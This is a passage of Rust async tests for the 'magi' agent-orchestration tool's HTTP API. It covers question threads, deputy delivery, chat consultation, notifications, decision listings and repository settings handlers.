13567            .update(&id, |q| {
13568                q.node = crate::land::APPROVAL_NODE.to_owned();
13569                q.deputy = Some(ask::Deputy::new("approval".to_owned()));
13570                q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
13571                Ok(())
13572            })
13573            .unwrap();
13574        let path = format!("/api/questions/{id}/say");
13575        let refused = fx.post(&path, Some(r#"{"body":"close the PR"}"#)).await;
13576        assert_eq!(refused.status, 422, "{}", refused.body);
13577        assert!(
13578            refused.json()["error"]
13579                .as_str()
13580                .unwrap()
13581                .contains("deputy_exhausted")
13582        );
13583        assert!(store.get(&id).unwrap().thread.is_empty());
13584
13585        // A final live deputy is usable even with no ordinary waiter/cwd.
13586        store.beat(&id, ask::WaiterKind::Deputy);
13587        let view = fx.get("/api/questions").await.json();
13588        assert_eq!(view[0]["text_delivery"]["state"], "live");
13589        let accepted = fx
13590            .post(&path, Some(r#"{"body":"explain the findings"}"#))
13591            .await;
13592        assert_eq!(accepted.status, 200, "{}", accepted.body);
13593        let before = std::fs::read(store.path_of(&id)).unwrap();
13594
13595        // The recipient exits between rendering and sending. Rejection must
13596        // preserve previously accepted text, the answer and delivery cursor.
13597        store.drop_lease(&id);
13598        let refused = fx.post(&path, Some(r#"{"body":"close the PR"}"#)).await;
13599        assert_eq!(refused.status, 422, "{}", refused.body);
13600        assert_eq!(std::fs::read(store.path_of(&id)).unwrap(), before);
13601        let held = fx
13602            .post(
13603                &format!("/api/questions/{id}/answer"),
13604                Some(r#"{"choice":"hold"}"#),
13605            )
13606            .await;
13607        assert_eq!(held.status, 200, "{}", held.body);
13608        assert_eq!(store.get(&id).unwrap().thread.len(), 1);
13609    }
13610
13611    #[tokio::test]
13612    async fn question_text_delivery_uses_daemon_configuration_after_file_edit() {
13613        let repo = tempfile::tempdir().unwrap();
13614        let mut cfg = stub_config();
13615        cfg.daemon.max_deputies = 0;
13616        std::fs::write(
13617            repo.path().join("magi.toml"),
13618            toml::to_string(&cfg).unwrap(),
13619        )
13620        .unwrap();
13621        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
13622        let mut status = crate::daemon::Status::new();
13623        status.question_recovery = Some(crate::question_delivery::Recovery::new(Some(&cfg), 0));
13624        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &status).unwrap();
13625        let id = ask(&fx, "Explain?", &["hold"]);
13626        fx.questions()
13627            .update(&id, |q| {
13628                q.node = crate::land::APPROVAL_NODE.into();
13629                q.deputy = Some(ask::Deputy::new("context".into()));
13630                q.deputy.as_mut().unwrap().agent = "stub".into();
13631                Ok(())
13632            })
13633            .unwrap();
13634        cfg.daemon.max_deputies = 1;
13635        std::fs::write(
13636            repo.path().join("magi.toml"),
13637            toml::to_string(&cfg).unwrap(),
13638        )
13639        .unwrap();
13640        let view = fx.get("/api/questions").await.json();
13641        assert_eq!(view[0]["deputies_enabled"], true);
13642        assert_eq!(view[0]["text_delivery"]["reason"], "deputy_disabled");
13643        let before = std::fs::read(fx.questions().path_of(&id)).unwrap();
13644        let res = fx
13645            .post(
13646                &format!("/api/questions/{id}/say"),
13647                Some(r#"{"body":"Please explain"}"#),
13648            )
13649            .await;
13650        assert_eq!(res.status, 422, "{}", res.body);
13651        assert_eq!(std::fs::read(fx.questions().path_of(&id)).unwrap(), before);
13652    }
13653
13654    #[tokio::test]
13655    async fn question_text_delivery_preserves_text_decisions_without_a_recipient() {
13656        let fx = Fixture::start().await;
13657        let id = ask(&fx, "No seat", &[]);
13658        let store = fx.questions();
13659        let before = std::fs::read(store.path_of(&id)).unwrap();
13660        let res = fx
13661            .post(
13662                &format!("/api/questions/{id}/say"),
13663                Some(r#"{"body":"hello"}"#),
13664            )
13665            .await;
13666        assert_eq!(res.status, 422, "{}", res.body);
13667        assert_eq!(std::fs::read(store.path_of(&id)).unwrap(), before);
13668        let res = fx
13669            .post(
13670                &format!("/api/questions/{id}/answer"),
13671                Some(r#"{"text":"hello"}"#),
13672            )
13673            .await;
13674        assert_eq!(res.status, 200, "{}", res.body);
13675        assert_eq!(
13676            store.get(&id).unwrap().resolution().as_deref(),
13677            Some("hello")
13678        );
13679    }
13680
13681    #[tokio::test]
13682    async fn saying_something_appends_a_turn_without_answering() {
13683        let fx = Fixture::start().await;
13684        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13685        fx.questions().beat(&id, ask::WaiterKind::Asker);
13686        let path = format!("/api/questions/{id}/say");
13687
13688        let res = fx
13689            .post(&path, Some(r#"{"body":"why not Postgres?"}"#))
13690            .await;
13691        assert_eq!(res.status, 200, "{}", res.body);
13692        let body = res.json();
13693        assert_eq!(body["status"], "open", "talking back is not a decision");
13694        assert_eq!(body["answer"], Value::Null);
13695        assert_eq!(body["thread"][0]["who"], "operator");
13696        assert_eq!(body["thread"][0]["body"], "why not Postgres?");
13697        assert_eq!(body["waiting_on_agent"], true);
13698        // Still open, still counted, still exactly one question.
13699        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
13700    }
13701
13702    #[tokio::test]
13703    async fn consulting_a_question_with_no_chat_is_refused_and_it_stays_open() {
13704        let fx = Fixture::start().await;
13705        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13706
13707        let list = fx.get("/api/questions").await.json();
13708        assert_eq!(list[0]["origin_chat"], Value::Null, "{list}");
13709
13710        let res = fx.post(&format!("/api/questions/{id}/consult"), None).await;
13711        assert_eq!(res.status, 409, "{}", res.body);
13712        let q = fx.questions().get(&id).unwrap();
13713        assert!(q.status.open());
13714        assert!(q.consult.is_none());
13715    }
13716
13717    #[tokio::test]
13718    async fn a_question_from_a_chat_task_names_its_chat_in_the_view() {
13719        let fx = Fixture::start().await;
13720        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13721        let cfg = Config {
13722            agents: vec![crate::config::AgentSpec {
13723                id: "mock".to_owned(),
13724                kind: crate::config::AgentKind::Command,
13725                model: None,
13726                command: vec!["true".to_owned()],
13727                extra_args: Vec::new(),
13728                env: Default::default(),
13729                prompt_delivery: None,
13730                max_turn_secs: None,
13731            }],
13732            ..Config::default()
13733        };
13734        let talk = crate::talk::begin(
13735            &fx.talks(),
13736            &cfg,
13737            fx.home.path().to_path_buf(),
13738            Some("mock"),
13739        )
13740        .unwrap();
13741        let mut task = Task::new(
13742            "t".to_owned(),
13743            "Do it".to_owned(),
13744            PathBuf::from("/repo/magi"),
13745            Source::Agent {
13746                run: talk.id.clone(),
13747                node: crate::queue::CHAT_NODE.to_owned(),
13748            },
13749        );
13750        task.start("20260902-000000-beef".to_owned());
13751        fx.queue().put(&mut task).unwrap();
13752
13753        let list = fx.get("/api/questions").await.json();
13754        assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
13755        assert_eq!(
13756            list[0]["choices"],
13757            serde_json::json!(["SQLite", "Redis"]),
13758            "the hand-over is never a choice"
13759        );
13760        fx.questions()
13761            .update(&id, |q| {
13762                q.node = crate::land::APPROVAL_NODE.into();
13763                q.choices = vec!["merge".into(), "hold".into()];
13764                Ok(())
13765            })
13766            .unwrap();
13767        let list = fx.get("/api/questions").await.json();
13768        assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
13769        assert_eq!(list[0]["can_consult_chat"], true);
13770        fx.questions()
13771            .update(&id, |q| {
13772                q.node = crate::bump::NOTICE_NODE.into();
13773                Ok(())
13774            })
13775            .unwrap();
13776        let list = fx.get("/api/questions").await.json();
13777        assert_eq!(list[0]["origin_chat"], talk.id.as_str());
13778        assert_eq!(list[0]["can_consult_chat"], false);
13779    }
13780
13781    #[tokio::test]
13782    async fn a_consult_that_cannot_read_its_config_leaves_nothing_to_retry_around() {
13783        let fx = Fixture::start().await;
13784        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13785        fx.questions()
13786            .update(&id, |q| {
13787                q.node = crate::land::APPROVAL_NODE.into();
13788                q.choices = vec!["merge".into(), "hold".into()];
13789                Ok(())
13790            })
13791            .unwrap();
13792        let cfg = Config {
13793            agents: vec![crate::config::AgentSpec {
13794                id: "mock".to_owned(),
13795                kind: crate::config::AgentKind::Command,
13796                model: None,
13797                command: vec!["true".to_owned()],
13798                extra_args: Vec::new(),
13799                env: Default::default(),
13800                prompt_delivery: None,
13801                max_turn_secs: None,
13802            }],
13803            ..Config::default()
13804        };
13805        // Not a git working tree, so its `magi.toml` is read from disk.
13806        let repo = fx.home.path().join("chat-repo");
13807        std::fs::create_dir_all(&repo).unwrap();
13808        let toml = repo.join("magi.toml");
13809        std::fs::write(&toml, "this is = = not toml").unwrap();
13810        let talk = crate::talk::begin(&fx.talks(), &cfg, repo.clone(), Some("mock")).unwrap();
13811        let mut task = Task::new(
13812            "t".to_owned(),
13813            "Do it".to_owned(),
13814            PathBuf::from("/repo/magi"),
13815            Source::Agent {
13816                run: talk.id.clone(),
13817                node: crate::queue::CHAT_NODE.to_owned(),
13818            },
13819        );
13820        task.start("20260902-000000-beef".to_owned());
13821        fx.queue().put(&mut task).unwrap();
13822
13823        let path = format!("/api/questions/{id}/consult");
13824        let res = fx.post(&path, None).await;
13825        assert!(res.status >= 400, "{}", res.body);
13826        assert!(fx.questions().get(&id).unwrap().consult.is_none());
13827        assert!(fx.talks().get(&talk.id).unwrap().pending.is_empty());
13828
13829        std::fs::write(&toml, "").unwrap();
13830        let res = fx.post(&path, None).await;
13831        assert_eq!(res.status, 202, "{}", res.body);
13832        assert!(fx.questions().get(&id).unwrap().consult.is_some());
13833        let q = fx.questions().get(&id).unwrap();
13834        assert!(q.status.open());
13835        assert!(q.answer.is_none());
13836        assert_eq!(res.json()["origin_chat"], talk.id.as_str());
13837        assert_eq!(res.json()["can_consult_chat"], true);
13838        let list = fx.get("/api/questions").await.json();
13839        assert_eq!(list[0]["origin_chat"], talk.id.as_str());
13840        assert_eq!(list[0]["consult"]["talk"], talk.id.as_str());
13841
13842        let res = fx
13843            .post(
13844                &format!("/api/questions/{id}/answer"),
13845                Some(r#"{"choice":"hold"}"#),
13846            )
13847            .await;
13848        assert_eq!(res.status, 200, "{}", res.body);
13849        assert_eq!(res.json()["answer"]["choice"], "hold");
13850        assert_eq!(res.json()["origin_chat"], talk.id.as_str());
13851        assert_eq!(res.json()["can_consult_chat"], false);
13852        assert_eq!(fx.post(&path, None).await.status, 409);
13853
13854        let mut talk = fx.talks().get(&talk.id).unwrap();
13855        // This test closes the history view, not an unconsumed consultation.
13856        crate::talk::clear_pending(&mut talk, &fx.talks()).unwrap();
13857        crate::talk::close(&mut talk, &fx.talks()).unwrap();
13858        let list = fx.get("/api/questions").await.json();
13859        assert_eq!(list[0]["origin_chat"], talk.id.as_str());
13860        assert_eq!(list[0]["origin_chat_closed"], true);
13861        assert_eq!(list[0]["can_consult_chat"], false);
13862
13863        fx.talks().remove(&talk.id).unwrap();
13864        let list = fx.get("/api/questions").await.json();
13865        assert_eq!(list[0]["origin_chat"], Value::Null);
13866        assert_eq!(list[0]["origin_chat_closed"], false);
13867        assert_eq!(list[0]["can_consult_chat"], false);
13868    }
13869
13870    #[tokio::test]
13871    async fn asking_back_clears_the_owner_count_until_the_agent_replies() {
13872        let fx = Fixture::start().await;
13873        let store = fx.questions();
13874        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13875        store.beat(&id, ask::WaiterKind::Asker);
13876        assert_eq!(
13877            fx.get("/api/health").await.json()["questions_needs_owner"],
13878            1
13879        );
13880
13881        // The owner asks back instead of deciding: the ask bar, the nav badge
13882        // and the title must stop naming this question, because there is
13883        // nothing to decide until the agent answers - `status` alone cannot
13884        // say that, which is the whole reason `questions_needs_owner` exists
13885        // alongside `questions_open`.
13886        let res = fx
13887            .post(
13888                &format!("/api/questions/{id}/say"),
13889                Some(r#"{"body":"why not Postgres?"}"#),
13890            )
13891            .await;
13892        assert_eq!(res.status, 200, "{}", res.body);
13893        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
13894        assert_eq!(
13895            fx.get("/api/health").await.json()["questions_needs_owner"],
13896            0,
13897            "waiting on the agent is not waiting on the owner"
13898        );
13899
13900        // `magi ask --thread` replying is what brings the owner count back -
13901        // the same event that would resume the CLI call blocked in `magi
13902        // ask`.
13903        let mut q = store.get(&id).expect("get");
13904        q.reply("because SQLite needs no server", vec!["SQLite".to_owned()])
13905            .expect("reply");
13906        store.put(&mut q).expect("put");
13907        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
13908        assert_eq!(
13909            fx.get("/api/health").await.json()["questions_needs_owner"],
13910            1,
13911            "the agent's reply is what should light the banner back up"
13912        );
13913    }
13914
13915    #[tokio::test]
13916    async fn saying_something_is_refused_when_empty_answered_or_abandoned() {
13917        let fx = Fixture::start().await;
13918        let store = fx.questions();
13919
13920        let empty_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13921        let res = fx
13922            .post(
13923                &format!("/api/questions/{empty_id}/say"),
13924                Some(r#"{"body":"   "}"#),
13925            )
13926            .await;
13927        assert_eq!(res.status, 400, "{}", res.body);
13928
13929        let answered_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13930        let mut answered = store.get(&answered_id).expect("get");
13931        answered
13932            .answer(Answer::Choice("SQLite".to_owned()))
13933            .expect("answer");
13934        store.put(&mut answered).expect("put");
13935        let res = fx
13936            .post(
13937                &format!("/api/questions/{answered_id}/say"),
13938                Some(r#"{"body":"still there?"}"#),
13939            )
13940            .await;
13941        assert_eq!(res.status, 409, "{}", res.body);
13942
13943        let abandoned_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13944        let mut abandoned = store.get(&abandoned_id).expect("get");
13945        abandoned.abandon("timed out");
13946        store.put(&mut abandoned).expect("put");
13947        let res = fx
13948            .post(
13949                &format!("/api/questions/{abandoned_id}/say"),
13950                Some(r#"{"body":"still there?"}"#),
13951            )
13952            .await;
13953        assert_eq!(res.status, 409, "{}", res.body);
13954    }
13955
13956    #[tokio::test]
13957    async fn historical_release_2029_api_retains_answer_and_refuses_controls() {
13958        let fx = Fixture::start().await;
13959        let questions = fx.questions();
13960        let mut q = Question::new(
13961            String::new(),
13962            crate::bump::NOTICE_NODE.into(),
13963            "release-watch".into(),
13964            "Release PR approval".into(),
13965            "Saved head".into(),
13966            vec!["merge".into(), "hold".into()],
13967        );
13968        q.id = "20261109-014940-871849981cd969b1-0000000000000000-2029".into();
13969        q.merge_target = Some(crate::merge_decision::Target {
13970            pr: "https://example.test/mebae/pull/100".into(),
13971            head: "4d5a46f99a678608d2b883498d8bebd9399c0261".into(),
13972            language: "en".into(),
13973        });
13974        q.answer(Answer::Choice("merge".into())).unwrap();
13975        q.answer_delivered = true;
13976        questions.put(&mut q).unwrap();
13977        let dir = fx.home.path().join("notifications/task-chat-migration-v1");
13978        std::fs::create_dir_all(&dir).unwrap();
13979        std::fs::write(
13980            dir.join("state.json"),
13981            serde_json::to_vec(&serde_json::json!({
13982                "schema": 1, "sources": [q.id], "pending": [q.id]
13983            }))
13984            .unwrap(),
13985        )
13986        .unwrap();
13987        let bytes = std::fs::read(questions.path_of(&q.id)).unwrap();
13988        for migrated in [false, true] {
13989            if migrated {
13990                crate::task_chat::sweep(&fx.queue(), &fx.talks(), &questions, fx.home.path());
13991            }
13992            for endpoint in ["/api/questions", "/api/questions/core"] {
13993                let response = fx.get(endpoint).await;
13994                assert_eq!(response.status, 200);
13995                let rows = response.json();
13996                let row = rows
13997                    .as_array()
13998                    .unwrap()
13999                    .iter()
14000                    .find(|r| r["id"] == q.id)
14001                    .unwrap();
14002                assert_eq!(row["status"], "answered");
14003                assert_eq!(row["answer"]["choice"], "merge");
14004                assert_eq!(row["can_answer"], false);
14005                assert_eq!(row["history_only"], true);
14006            }
14007            let answer = fx
14008                .post(
14009                    &format!("/api/questions/{}/answer", q.id),
14010                    Some(r#"{"choice":"merge"}"#),
14011                )
14012                .await;
14013            assert_eq!(answer.status, 409, "{}", answer.body);
14014            assert_eq!(std::fs::read(questions.path_of(&q.id)).unwrap(), bytes);
14015        }
14016    }
14017
14018    #[tokio::test]
14019    async fn an_answer_the_question_does_not_offer_is_refused() {
14020        let fx = Fixture::start().await;
14021        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
14022        let path = format!("/api/questions/{id}/answer");
14023
14024        for body in [
14025            r#"{"choice":"Postgres"}"#,
14026            r#"{"text":"whatever you think"}"#,
14027            r#"{"choice":"Redis","text":"both"}"#,
14028            r#"{}"#,
14029        ] {
14030            let res = fx.post(&path, Some(body)).await;
14031            assert_eq!(res.status, 400, "{body} should be refused: {}", res.body);
14032            assert!(res.json()["error"].is_string(), "{}", res.body);
14033        }
14034        // Nothing above may have answered it.
14035        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
14036    }
14037
14038    #[tokio::test]
14039    async fn a_free_text_question_takes_text_and_not_a_choice() {
14040        let fx = Fixture::start().await;
14041        let id = ask(&fx, "What should the flag be called?", &[]);
14042        fx.questions().beat(&id, ask::WaiterKind::Asker);
14043        let path = format!("/api/questions/{id}/answer");
14044
14045        assert_eq!(
14046            fx.post(&path, Some(r#"{"choice":"--json"}"#)).await.status,
14047            400
14048        );
14049        let res = fx.post(&path, Some(r#"{"text":"--json"}"#)).await;
14050        assert_eq!(res.status, 200, "{}", res.body);
14051        assert_eq!(res.json()["answer"]["text"], "--json");
14052    }
14053
14054    #[tokio::test]
14055    async fn an_unknown_question_is_a_json_404() {
14056        let fx = Fixture::start().await;
14057        let res = fx
14058            .post("/api/questions/nope/answer", Some(r#"{"text":"x"}"#))
14059            .await;
14060        assert_eq!(res.status, 404, "{}", res.body);
14061        assert!(res.json()["error"].is_string());
14062    }
14063
14064    #[tokio::test]
14065    async fn notifications_resolve_live_questions_without_changing_saved_notices() {
14066        let fx = Fixture::start().await;
14067        let questions = Questions::at(fx.home.path().join("questions"));
14068        let store = Notices::at(fx.home.path().join("notifications"));
14069        let mut q = ask::Question::new(
14070            "t1".into(),
14071            "conduct".into(),
14072            "conductor".into(),
14073            "Continue?".into(),
14074            String::new(),
14075            Vec::new(),
14076        );
14077        questions.put(&mut q).unwrap();
14078        let mut n = Notice::warn("task:t1", "Task t1 is held.");
14079        n.covered_by = Some(q.id.clone());
14080        let n = store.raise(n).unwrap();
14081        let listed = fx.get("/api/notifications").await.json();
14082        assert_eq!(listed["items"][0]["answerable_question"], q.id);
14083        questions
14084            .update(&q.id, |q| {
14085                q.abandon("run gone");
14086                Ok(())
14087            })
14088            .unwrap();
14089        let listed = fx.get("/api/notifications").await.json();
14090        assert!(listed["items"][0]["answerable_question"].is_null());
14091        assert_eq!(store.get(&n.id).unwrap().covered_by, Some(q.id));
14092        assert!(
14093            !std::fs::read_to_string(store.root().join(format!("{}.json", n.id)))
14094                .unwrap()
14095                .contains("answerable_question")
14096        );
14097    }
14098
14099    #[tokio::test]
14100    async fn decisions_list_reports_unreadable_records_without_hiding_pending_items() {
14101        let fx = Fixture::start().await;
14102        let outbox = crate::task_inquiry::Outbox::at(fx.home.path());
14103        let task = crate::queue::Task::new(
14104            "work".into(),
14105            "work".into(),
14106            fx.home.path().into(),
14107            crate::queue::Source::Human,
14108        );
14109        let inquiry = outbox
14110            .file(&task, None, "test".into(), "入力待ち", "詳細")
14111            .unwrap();
14112        let root = fx.home.path().join("notifications/task-inquiries");
14113        std::fs::write(root.join("broken.json"), "{").unwrap();
14114        let mut unsupported = inquiry.clone();
14115        unsupported.id = "unsupported".into();
14116        unsupported.schema = 99;
14117        std::fs::write(
14118            root.join("unsupported.json"),
14119            serde_json::to_vec(&unsupported).unwrap(),
14120        )
14121        .unwrap();
14122        let before = std::fs::read(root.join(format!("{}.json", inquiry.id))).unwrap();
14123        for _ in 0..2 {
14124            let response = fx.get("/api/decisions").await;
14125            assert_eq!(response.status, 200, "{}", response.body);
14126            let listed = response.json();
14127            assert_eq!(listed["unreadable"], 2);
14128            assert_eq!(listed["items"].as_array().unwrap().len(), 1);
14129            assert_eq!(listed["items"][0]["id"], inquiry.id);
14130            assert_eq!(listed["items"][0]["decision"]["status"], "awaiting_owner");
14131        }
14132        assert_eq!(
14133            before,
14134            std::fs::read(root.join(format!("{}.json", inquiry.id))).unwrap()
14135        );
14136        assert!(outbox.list().is_err());
14137        std::fs::remove_file(root.join("broken.json")).unwrap();
14138        std::fs::remove_file(root.join("unsupported.json")).unwrap();
14139        assert_eq!(fx.get("/api/decisions").await.json()["unreadable"], 0);
14140    }
14141
14142    #[tokio::test]
14143    async fn decisions_list_exposes_migration_errors_without_acknowledging_them() {
14144        let fx = Fixture::start().await;
14145        let root = fx.home.path().join("notifications/task-chat-migration-v1");
14146        std::fs::create_dir_all(&root).unwrap();
14147        let journal = serde_json::json!({
14148            "schema": 1, "pending": ["saved-inquiry"],
14149            "errors": {"saved-inquiry": "Source is unreadable; no action executed"}
14150        });
14151        let bytes = serde_json::to_vec(&journal).unwrap();
14152        std::fs::write(root.join("state.json"), &bytes).unwrap();
14153        for _ in 0..2 {
14154            let response = fx.get("/api/decisions").await;
14155            assert_eq!(response.status, 200);
14156            let listed = response.json();
14157            assert_eq!(listed["migration_errors"][0]["id"], "saved-inquiry");
14158            assert!(listed["items"].as_array().unwrap().is_empty());
14159            assert_eq!(std::fs::read(root.join("state.json")).unwrap(), bytes);
14160        }
14161        // An unreadable journal must not make the endpoint hide the list.
14162        std::fs::write(root.join("state.json"), b"{").unwrap();
14163        let response = fx.get("/api/decisions").await;
14164        assert_eq!(response.status, 200);
14165        assert_eq!(response.json()["migration_errors"][0]["id"], "migration");
14166    }
14167
14168    #[tokio::test]
14169    async fn notifications_list_read_dismiss_and_health_agree() {
14170        let fx = Fixture::start().await;
14171        let store = Notices::at(fx.home.path().join("notifications"));
14172        assert_eq!(fx.get("/api/notifications").await.json()["unread"], 0);
14173        let rev0 = fx.get("/api/health").await.json()["notifications_rev"].clone();
14174
14175        let a = store.raise(Notice::warn("task:1", "held")).unwrap();
14176        let b = store.raise(Notice::error("run:2", "blocked")).unwrap();
14177
14178        store
14179            .raise(Notice::warn("deputy:deleted-question", "obsolete warning"))
14180            .unwrap();
14181        let health = fx.get("/api/health").await.json();
14182        assert_eq!(health["notifications_unread"], 2);
14183        assert_ne!(
14184            health["notifications_rev"], rev0,
14185            "the badge must move live"
14186        );
14187
14188        let listed = fx.get("/api/notifications").await.json();
14189        assert_eq!(listed["unread"], 2);
14190        assert_eq!(listed["items"].as_array().unwrap().len(), 2);
14191        assert_eq!(listed["items"][0]["severity"], "error", "newest first");
14192
14193        let read = fx
14194            .post(&format!("/api/notifications/{}/read", a.id), None)
14195            .await;
14196        assert_eq!(read.status, 200, "{}", read.body);
14197        assert_eq!(fx.get("/api/notifications").await.json()["unread"], 1);
14198
14199        let gone = fx
14200            .post(&format!("/api/notifications/{}/dismiss", b.id), None)
14201            .await;
14202        assert_eq!(gone.status, 200, "{}", gone.body);
14203        let listed = fx.get("/api/notifications").await.json();
14204        assert_eq!(listed["items"].as_array().unwrap().len(), 1);
14205        assert_eq!(listed["unread"], 0);
14206
14207        store.raise(Notice::info("x", "again")).unwrap();
14208        let all = fx.post("/api/notifications/read-all", None).await;
14209        assert_eq!(all.status, 200, "{}", all.body);
14210        assert_eq!(all.json()["marked"], 1);
14211        assert_eq!(
14212            fx.get("/api/health").await.json()["notifications_unread"],
14213            0
14214        );
14215
14216        let missing = fx.post("/api/notifications/nope/read", None).await;
14217        assert_eq!(missing.status, 404, "{}", missing.body);
14218        assert!(missing.json()["error"].is_string());
14219    }
14220
14221    /// New work reaches the queue through `magi task add`, a standing talk's
14222    /// `magi task add --solo`, or the CLI - never a raw `POST /api/queue` -
14223    /// so the compose form and that route are gone. The tests that covered
14224    /// that route's validation went with it, and nothing was left asserting
14225    /// it stays gone — so a re-added handler would silently let the phone
14226    /// file briefs no one validated.
14227    #[tokio::test]
14228    async fn a_task_cannot_be_filed_over_the_phone_directly() {
14229        let f = Fixture::start().await;
14230
14231        let res = f
14232            .post(
14233                "/api/queue",
14234                Some(r#"{"instruction":"Add a --json flag to magi list"}"#),
14235            )
14236            .await;
14237
14238        assert_eq!(
14239            res.status, 405,
14240            "POST /api/queue must not be a route: {}",
14241            res.body
14242        );
14243        assert!(
14244            f.queue().list().is_empty(),
14245            "a task filed by a route that does not exist must not reach the disk"
14246        );
14247        // The path itself is still served — the Queue view reads it — and the
14248        // per-task controls are untouched by the entry being removed.
14249        assert_eq!(f.get("/api/queue").await.status, 200);
14250    }
14251
14252    /// `<repo>/host/owner/repo/.git`, the ghq layout [`repos::scan`] expects.
14253    fn make_checkout(root: &FsPath, host: &str, owner: &str, repo: &str) {
14254        std::fs::create_dir_all(root.join(host).join(owner).join(repo).join(".git"))
14255            .expect("checkout dir");
14256    }
14257
14258    /// Two command agents, so a config needs no real CLI.
14259    const SETTINGS_AGENTS: &str = "[[agents]]\nid = \"a\"\nkind = \"command\"\ncommand = [\"true\"]\n\n[[agents]]\nid = \"b\"\nkind = \"command\"\ncommand = [\"true\"]\n";
14260
14261    fn settings_dirs(repo_toml: &str, machine_toml: Option<&str>) -> (TempDir, PathBuf, PathBuf) {
14262        let tmp = TempDir::new().expect("tempdir");
14263        let repo = tmp.path().join("repo");
14264        std::fs::create_dir_all(&repo).expect("repo dir");
14265        std::fs::write(repo.join("magi.toml"), repo_toml).expect("repo toml");
14266        let machine = tmp.path().join("cfg").join("magi").join("config.toml");
14267        if let Some(text) = machine_toml {
14268            std::fs::create_dir_all(machine.parent().expect("parent")).expect("cfg dir");
14269            std::fs::write(&machine, text).expect("machine toml");
14270        }
14271        (tmp, repo, machine)
14272    }
14273
14274    async fn settings_checkout(path: &FsPath, text: &str) {
14275        std::fs::create_dir_all(path).unwrap();
14276        std::fs::write(path.join("magi.toml"), text).unwrap();
14277        for args in [
14278            vec!["init", "-b", "main"],
14279            vec!["add", "magi.toml"],
14280            vec![
14281                "-c",
14282                "user.name=Test",
14283                "-c",
14284                "user.email=test@example.invalid",
14285                "commit",
14286                "-m",
14287                "fixture",
14288            ],
14289            vec!["update-ref", "refs/remotes/origin/main", "HEAD"],
14290            vec![
14291                "symbolic-ref",
14292                "refs/remotes/origin/HEAD",
14293                "refs/remotes/origin/main",
14294            ],
14295        ] {
14296            crate::git::git(path, &args).await.unwrap();
14297        }
14298    }
14299
14300    #[tokio::test]
14301    async fn settings_context_handlers_validate_and_save_without_a_socket() {
14302        let (tmp, repo, machine) =
14303            settings_dirs("[roles]\nreviewers = [\"a\"]\n", Some(SETTINGS_AGENTS));
14304        let root = tmp.path().join("roots");
14305        let selected = root.join("host/owner/selected");
14306        settings_checkout(
14307            &selected,
14308            "[roles]\nconductor = \"b\"\n[graph]\njudges = 2\n",
14309        )
14310        .await;
14311        std::fs::write(&machine, format!("{SETTINGS_AGENTS}\n[roles]\nconductor = \"a\"\n[graph]\njudges = 1\n[repos]\nroots = [{}]\nscan_ttl = 3600\n", toml::Value::String(root.display().to_string()))).unwrap();
14312        let before = std::fs::read(&machine).unwrap();
14313        let ui = Arc::new(
14314            Ui::new(
14315                Queue::at(tmp.path().join("queue")),
14316                Questions::at(tmp.path().join("questions")),
14317                Talks::at(tmp.path().join("talks")),
14318                tmp.path().join("runs"),
14319                tmp.path().to_path_buf(),
14320                repo.clone(),
14321            )
14322            .with_machine_config(Some(machine.clone())),
14323        );
14324        let query = || {
14325            Query(SettingsQuery {
14326                repo: Some(selected.clone()),
14327            })
14328        };
14329        let Json(v) = settings_get(State(ui.clone()), query()).await.unwrap();
14330        assert!(v.error.is_none(), "{:?}", v.error);
14331        let conductor = v.roles.iter().find(|r| r.key == "conductor").unwrap();
14332        assert_eq!(conductor.source, "repo");
14333        assert_eq!(
14334            conductor.machine_value,
14335            Some(toml::Value::String("a".into()))
14336        );
14337        assert!(!conductor.editable);
14338        let judges = v.roles.iter().find(|r| r.key == "judges").unwrap();
14339        assert_eq!(
14340            judges.count.as_ref().unwrap().machine_value,
14341            Some(toml::Value::Integer(1))
14342        );
14343        assert!(
14344            !v.roles
14345                .iter()
14346                .find(|r| r.key == "reviewers")
14347                .unwrap()
14348                .editable
14349        );
14350        let unknown = || {
14351            Query(SettingsQuery {
14352                repo: Some(tmp.path().to_path_buf()),
14353            })
14354        };
14355        assert_eq!(
14356            settings_get(State(ui.clone()), unknown())
14357                .await
14358                .unwrap_err()
14359                .status,
14360            StatusCode::UNPROCESSABLE_ENTITY
14361        );
14362        let body = || {
14363            Ok(Json(RolesBody {
14364                revision: v.revision.clone(),
14365                roles: std::collections::BTreeMap::from([("judges".into(), vec!["b".into()])]),
14366                counts: Default::default(),
14367            }))
14368        };
14369        assert_eq!(
14370            settings_put_roles(State(ui.clone()), unknown(), body())
14371                .await
14372                .unwrap_err()
14373                .status,
14374            StatusCode::UNPROCESSABLE_ENTITY
14375        );
14376        assert_eq!(std::fs::read(&machine).unwrap(), before);
14377        let Json(saved) = settings_put_roles(State(ui.clone()), query(), body())
14378            .await
14379            .unwrap();
14380        assert_eq!(
14381            saved.repo,
14382            selected.canonicalize().unwrap().display().to_string()
14383        );
14384        assert!(settings::repository_config(&repo, Some(&machine)).is_ok());
14385        assert!(settings::repository_config(&selected, Some(&machine)).is_ok());
14386        // A cache miss refreshes the stable candidate list exactly for validation.
14387        let fresh = root.join("host/owner/fresh");
14388        settings_checkout(&fresh, "[graph]\nadvisors = 0\n").await;
14389        let Json(fresh_view) = settings_get(State(ui), Query(SettingsQuery { repo: Some(fresh) }))
14390            .await
14391            .unwrap();
14392        assert_eq!(fresh_view.repositories.len(), 3);
14393    }
14394
14395    #[tokio::test]
14396    async fn settings_context_selector_validates_paths_and_preserves_all_checkouts() {
14397        let (tmp, repo, machine) = settings_dirs(
14398            "[roles]\nreviewers = [\"a\"]\n",
